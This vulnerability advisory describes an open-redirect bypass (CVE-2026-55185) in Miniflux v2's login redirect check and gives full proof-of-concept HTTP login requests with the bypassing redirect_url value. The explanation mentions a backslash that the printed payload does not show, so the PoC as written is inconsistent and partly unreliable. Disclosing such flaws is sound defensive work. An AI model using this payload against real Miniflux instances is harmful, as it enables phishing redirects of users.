PT-2026-51095 · Go · Miniflux.App/V2

Publicado 2026-06-19 · Atualizado 2026-06-19 · CVE-2026-55185

OSV

CVSS v4.0

5.1

Média

Vetor base

AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Summary

The URL restrictions in miniflux-v2 can be bypassed by attackers, leading to an open redirect vulnerability.

Details

Normally, the redirect URL needs to be validated using IsRelativePath.

There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like //fushuling.com. However, these measures can still be bypassed.

For a proof-of-concept (PoC) like /fushuling.com, it lacks host and netloc fields and doesn't start with //, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address https://fushuling.com, thus bypassing existing protections.

For PoCs like //fushuling.com, the existing logic successfully detects and resolves to /unread, effectively preventing attacks.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ. 8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor session id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45
Connection: close

csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect url=//fushuling.com&username=admin&password=test123

However, when the attacker specified the redirect URL as /fushuling.com, the URL successfully bypassed the detection and set the location to /fushuling.com.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ. 8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor session id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5
Connection: close

csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect url=/fushuling.com&username=admin&password=test123

In the actual browser redirection, the URL successfully redirected to https://fushuling.com, thus bypassing the restrictions and achieving an open redirect attack.

PoC

/fushuling.com

Impact

Open Redirect

Correção

Open Redirect

Enumeração de Fraquezas

CWE-601

Identificadores relacionados

CVE-2026-55185

GHSA-M999-J542-5W3R

Produtos afetados

Miniflux.App/V2

Referências · 3

• https://github.com/miniflux/v2 · Nota
• https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r · Nota
• https://osv.dev/vulnerability/GHSA-m999-j542-5w3r · Aviso do Fabricante